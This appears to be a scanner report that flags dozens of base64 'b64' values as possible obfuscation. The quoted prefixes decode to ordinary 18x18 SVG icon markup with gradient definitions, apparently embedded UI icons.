"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iYTA3MzBhZGMtODU1NS00ZDZmLTgzZDAtYWJmYjA0M2YxNGUyIj48Zz48cG9seWdvbiBwb2ludHM9IjExLjE4OSA0LjgyNyAxMS4xODkgNy41MTUg - Possible obfuscationline 297
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJlNDk4NDcyLTI5MGEtNGM1Yy1iYzlkLTVjYmJiODdjZmZkOCIgeDE9IjkiIHgyPSI5IiB5Mj0iMTMuNSIgZ3Jh - Possible obfuscationline 302
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJhODhlYTkxLTNiM2EtNGRhMC05Yjk3LTlhMTBlYmFhM2U1MCIgeDE9IjEyLjgwNSIgeTE9IjE1LjIzNyIgeDI9 - Possible obfuscationline 307
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU2OTNjODk5LTVmNWQtNDc4ZC1iOTc5LWI2ODg4YTI2NzAzMCIgeDE9IjcuNzYyIiB5MT0iMi40NzYiIHgyPSI3 - Possible obfuscationline 312
"b64": "PHN2ZyBpZD0idXVpZC1lNDAzMDVhNi1mYTYxLTQ3YmEtYjI4Yi02ZWE5NDAyODk2NTYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1hNmFhZTVkNS1iZmNh - Possible obfuscationline 317
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI5YTlmZjBiLTdkYWMtNDA1Yi1hNmRkLWE0ODlhMjgxM2Y4MyIgeDE9IjguODk4IiB5MT0iMTYuMzQ1IiB4Mj0i - Possible obfuscationline 322
"b64": "PHN2ZyBpZD0idXVpZC1lOTdjNDVjYy1hNjI5LTRhMDAtYmEzYy0zMDUyNzNjNzY5ZmIiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmlld0JveD0iMCAwIDE4IDE4Ij48 - Possible obfuscationline 327
"b64": "PHN2ZyBpZD0idXVpZC1iMmUxNTE2MC1mMzAwLTQ5ZGYtOTI2OC0zMzRkZjVlNzVmM2YiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05N2I3ZTcwNy1mMjg4 - Possible obfuscationline 332
"b64": "PHN2ZyBpZD0iYjA4OWNmY2EtMGRlMS00NTFjLWExY2EtNjY4MGVhNTBjYjRmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImIyNWQwODM2LTk2NGEtNGM4NC04YzIw - Possible obfuscationline 337
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE3OTBjZWM3LTA3YzktNDYzOC1iNWM1LWFiOWZiZDVjYTkwOCIgeDE9IjYuNDEiIHkxPSIxLjc4IiB4Mj0iNi40 - Possible obfuscationline 342
"b64": "PHN2ZyBpZD0iYjZjOTgzNDUtMGMzOS00ZjZmLWI5MzMtNTI4M2RlZmY1NjkwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhNmY1OWZiLTMwNmEtNDY1NS04ZWY1 - Possible obfuscationline 347
"b64": "PHN2ZyBpZD0iYmRkNmUxNWQtMWE4YS00ODJlLThkMjktNTAzN2ZlZDQ3ZGU3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFkMTkyOTMzLTdjNDEtNDYyNy05NGIw - Possible obfuscationline 352
"b64": "PHN2ZyBpZD0iZTYyOGY1MTQtY2YyNC00OGU4LTliZDktYjA4NDdiYzIyNGQwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwMWYyMzAyLTM4NWUtNGI0OS1hN2U5 - Possible obfuscationline 357
"b64": "PHN2ZyBpZD0iZTA1Yzk1NzUtNGMzOC00YmNkLTkwZWItMjc2Y2FmMjZlM2QwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyOTFhYmE2LTgwMzgtNGRiMS1hMDRk - Possible obfuscationline 362
"b64": "PHN2ZyBpZD0iZmM4OTAxMjctNzI4Yi00YWMwLWI1ZGEtODZjZGZjMTkxZTg2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyOGRlZTIwLTRjNzEtNDZiNS1iOTU3 - Possible obfuscationline 367
"b64": "PHN2ZyBpZD0iYTVhOTk4MWYtMjllNS00NDlhLWIwODMtMTdmODVkOTQ3ZjE0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY0MjM1YjFmLTcxNDMtNGIzMi05ODA0 - Possible obfuscationline 372
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE2YTI2YjFlLWNlZGUtNDhkZi1iY2Y2LTNhMzAwYmM1ZGIxYiIgeDE9IjkiIHkxPSIxNS4zNDIiIHgyPSI5IiB5 - Possible obfuscationline 377
"b64": "PHN2ZyBpZD0iYjFlNzE0NzktMjEzOC00NGUwLWFkZjAtMDJmZTlmZWQ1YzFlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48cGF0aCBkPSJNMS4xNTUsNC45M3YuNTEyTDksOS44NjhsNy4wMDYtMy45NTcsMCwx - Possible obfuscationline 382
"b64": "PHN2ZyBpZD0idXVpZC1mYmJiZWVkZi03ZjAzLTRkNjItYjBmMC1hNGI2ODljMDQxZDkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC03Y2QwYWU0Ny02NDE0 - Possible obfuscationline 387
"b64": "PHN2ZyBpZD0idXVpZC1lZTBiODY1MS01NDNmLTQ5OWEtYmRmMS03N2VkOTUwM2RmZGMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0yMGRkYjVlMi03OWVl - Possible obfuscationline 392
"b64": "PHN2ZyBpZD0iZjQzMzc1MDYtNWQ5NS00ZTgwLWI3Y2EtNjg0OThjNmUwMDhlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJhNDIwMjc3LTcwMGUtNDJjYy05ZGU5 - Possible obfuscationline 397
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiN2JkMzA3LWExYTUtNDdhOS05ZDc1LWQ0YTFlOGExM2MwYyIgeDE9IjYuMDk0IiB5MT0iMTUuMjEzIiB4Mj0i - Possible obfuscationline 402
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJjMmVjYTJlLTFhMjQtNDU3ZC05NTc3LTAzMzQwZGJhYmE5NCIgeDE9IjEzLjE4NCIgeTE9Ijc4NS45MTEiIHgy - Possible obfuscationline 407
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJhM2Q0NDI4LTI3M2ItNDdkMi04MGFjLTUzNjcxMDE5Yjc5NSIgeDE9Ii0xMjY3LjIzIiB5MT0iMy4wNyIgeDI9 - Possible obfuscationline 412
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI5ZWRhMTRkLTUwMTgtNDA2OS04NDYxLWU5YzE1MjI3NjVmZiIgeDE9IjEzLjQ1IiB5MT0iNi4zIiB4Mj0iMTMu - Possible obfuscationline 417
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iZWZjNzg2YjgtOTYzMC00MDc0LThkNzAtNWFiMGIxM2ZiN2MwIj48Zz48cGF0aCBkPSJNNiwxMC41OFY4LjYzSDE2LjM1VjMuMTFhLjY0LjY0LDAs - Possible obfuscationline 422
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYzg0NDUyLTU0NjItNDU3Ni05ZWMxLTc4ZTgzYzMyNDZmNyIgeDE9IjkiIHkxPSIxNS41NjMiIHgyPSI5IiB5 - Possible obfuscationline 427
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY1YjI3OTFiLTQxZjgtNGQzMi1iZmY0LTZjZTlkYTJlNzNiNCIgeDE9IjkiIHkxPSIxLjQ5OCIgeDI9IjkiIHky - Possible obfuscationline 432
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImU4MzQ2NGI2LWU0ZTYtNGZmMS05YTY1LTdkYmYzNzYzNDg0OSIgeDE9IjkiIHkxPSIxNS4yOTYiIHgyPSI5IiB5 - Possible obfuscationline 437
"b64": "PHN2ZyBpZD0iYWNlZjRjMWItNGZjYy00OTdiLTgxMDktZTMxYWZkOGUzNjgxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiZmI0Njk5LWI3OTUtNDdmNi04NGVj - Possible obfuscationline 442
"b64": "PHN2ZyBpZD0idXVpZC1hM2RiODYxZi0xNGVlLTQ2NDQtYjYzNS0xODU5YjI1NjgwMmIiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01MTY0YWVlOS1mM2My - Possible obfuscationline 447
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIwNDE1YjViLTNiOTgtNDhhOS05MjYzLWQ2ODBmZmNlOTNlOCIgeDE9IjkiIHkxPSIxNy44NiIgeDI9IjkiIHky - Possible obfuscationline 452
"b64": "PHN2ZyBpZD0idXVpZC1iNDM5MjI1ZS05MTE0LTQ0ZGMtODVmNC02MDY1MTAzM2NjZTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04N2JhYmEyNy04OWI5 - Possible obfuscationline 457
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxMzgyMWFhLTY1NjctNDFkMy1iOTJkLWJhOGIxM2ZlZDZjMSIgeDE9IjUuMzU3IiB5MT0iMTQuMzc4IiB4Mj0i - Possible obfuscationline 462
"b64": "PHN2ZyBpZD0idXVpZC02YjkxZmIzYi1jM2E4LTQxNmQtYmEwOS01M2VmMGZhZTE5YWEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik0xNy44NDEsMTQuODgxYy0uMTY1LjcyOS0xLjA3MSwxLjQz - Possible obfuscationline 467
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0Y2NkMGMzLWZkZTYtNDg3NS04MDBiLTMzM2RlMGEyNWNiOSIgeDE9IjkiIHkxPSIyIiB4Mj0iOSIgeTI9IjE2 - Possible obfuscationline 472
"b64": "PHN2ZyBpZD0idXVpZC04ZTQ5ODc4ZS02ZjFlLTQ1ZGMtYjEzZi1kZTNmM2IwYTMwMjgiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1lMjc1MjAwZi04MDQ3 - Possible obfuscationline 477
"b64": "PHN2ZyBpZD0iYTU5Nzg3OGQtNzVkZi00YzE3LWI0OGEtODg4MWIzNTNhZGViIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MDhjOTVhLWFjZjktNDhkYy04NmU2 - Possible obfuscationline 482
"b64": "PHN2ZyBpZD0iYTVlOTgwZTItZmU2Yy00YjRiLWJkODgtYTljMjM1ZGU1YTRkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFmMzc0OGU5LWI3MGMtNDViZS05NGQ2 - Possible obfuscationline 487
"b64": "PHN2ZyBpZD0iYTIwNzFjMGEtNmU2Mi00Njk5LThlMzItMjg1ZjFiYzFlNDIwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE4OWJlODRhLTM3NTItNDEyMy1hZGVl - Possible obfuscationline 492
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZhYjY2YzllLThhZGUtNGIxNC04NWExLTg5YTNkZDdjZWFlOSIgeDE9IjguMTQxIiB5MT0iMS4wNDgiIHgyPSI4 - Possible obfuscationline 497
"b64": "PHN2ZyBpZD0idXVpZC0yYTU3ZDNkMC00OTkxLTQ2NmUtOWE5NC1jODk3NDgxNzNiOGQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05NDY4Yjg2NS1lYWM0 - Possible obfuscationline 502
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFlYjNiZWJmLWU4OTEtNDNkMy1iMDQ1LTA2YzAyNmY1MDQwZSIgeDE9IjkiIHkxPSIxNC42MzMiIHgyPSI5IiB5 - Possible obfuscationline 507
"b64": "PHN2ZyBpZD0iYjdjMmE0MTgtZTk4My00NWJiLThiMjItYTNhYjUzZDlmZmRiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjZmFjOWY5LTJhY2UtNDUxYS1hZWY0 - Possible obfuscationline 512
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDE2IDE2Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZiODE5N2U1LWNlMGEtNGZjMC04NTI2LTJjYWViNzRlMTFhMCIgeDE9IjcuOTYxIiB5MT0iMy4xNzkiIHgyPSI3 - Possible obfuscationline 517
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1YjA5ZjZlLTI1MGYtNDIxNC04ZDA0LTkxMWZiOTZlZjE4YSIgeDE9IjYuNTc0IiB5MT0iMS42NDMiIHgyPSI2 - Possible obfuscationline 522
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVjMDRiOWUxLTVlYTMtNDZjNS05NGRiLTNjOTg2M2YzZDY1MyIgeDE9IjExLjQ5OSIgeTE9IjIuMzU1IiB4Mj0i - Possible obfuscationline 527
"b64": "PHN2ZyBpZD0idXVpZC1hZGJkYWU4ZS01YTQxLTQ2ZDEtOGMxOC1hYTczY2RiZmVlMzIiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxyYWRpYWxHcmFkaWVudCBpZD0idXVpZC0yYTc0MDdhYS1iNzg3 - Possible obfuscationline 532
"b64": "PHN2ZyBpZD0idXVpZC01MWRiMmQxOC0wOTVlLTRjM2MtODlmMi1hYzg3YzgxNmU4OTUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iOWE0ZDczYS0wM2Rh - Possible obfuscationline 537
"b64": "PHN2ZyBpZD0idXVpZC05YjEwMDEzNy0yZDY5LTQ2ZjUtOWQxYi03ZWY5OTNlOGYxYzQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1iNDMyYjlhNy01ZTZj - Possible obfuscationline 542
"b64": "PHN2ZyBpZD0idXVpZC0yYmE3YTUyNi1hZTY2LTQ1MzEtYTFmNy1mNTAwYTA5N2JkZjciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1lYjIxZGIyNS03OTlm - Possible obfuscationline 547
"b64": "PHN2ZyBpZD0idXVpZC1jY2UyZDI2MS00ZTM4LTRjYWYtOTYyNi1iNjFmMmZlOTYwZDciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0yMGRlN2ExZi0zYzYx - Possible obfuscationline 552
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkMjE2OWI0LTIyZmEtNDBmYS05M2Q3LTVmODYyYjAyYjM0MyIgeDE9Ii00ODUuNTY0IiB5MT0iLTYwNy45ODMi - Possible obfuscationline 557
"b64": "PHN2ZyBpZD0idXVpZC05NWY5ODM1YS00NzU3LTRhOTAtODJhOC0xZDcxNTJjMjk4MTIiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05OTI3OGRhZi02MDUw - Possible obfuscationline 562
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIzNGVjNDg4LTM2MmQtNGU1Ni1iYTA4LWIzMGI1OTQ0MDBlNyIgeDE9IjkiIHkxPSIyLjYxOSIgeDI9IjkiIHky - Possible obfuscationline 567
"b64": "PHN2ZyBpZD0iZTkzYjMyYWItZTJiYS00MzFlLWJjYjUtYjZhZGUzYjY2OTY1IiBkYXRhLW5hbWU9IkZ4U3ltYm9sMC0wODciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjAuMjVpbiIgaGVpZ2h0PSIwLjI1aW4iIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGc+PHBhdGggZD0iTTUu - Possible obfuscationline 572
"b64": "PHN2ZyBpZD0iYTc1ZTNmM2EtMjY2MS00MTBiLTgyZmItZDMwMGQzN2RlYTJkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFmZjYwZGRmLWVlYzEtNDBiZi04YmY1 - Possible obfuscationline 577
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJiZDAyODc4LTMwOWEtNDQ5MC04MTk2LTk0NjMzOGQwZjU5MyIgeDE9IjguOTk1IiB5MT0iMTAuMjk5IiB4Mj0i - Possible obfuscationline 582
"b64": "PHN2ZyBpZD0iYjhkNGZmNmQtYzFlNy00ODc4LThlMWItMjRhMTJjYWQxNWUxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZkZGE5NjdlLTc2NTEtNGM4NC05NzU5 - Possible obfuscationline 587
"b64": "PHN2ZyBpZD0iYjlmOTg4YzctZDA5NS00MjE1LThiMTYtOGQ4Y2M4NmI2YzY1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI0N2Y5NGZkLTdmZTQtNDkxNy1iZDZl - Possible obfuscationline 592
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY2N2QxNTg1LTYxNjQtNGFkMC1iMmRkLWY5Y2M1OWIyOTY5ZiIgeDE9IjkuOTA4IiB5MT0iMTUuOTQzIiB4Mj0i - Possible obfuscationline 597
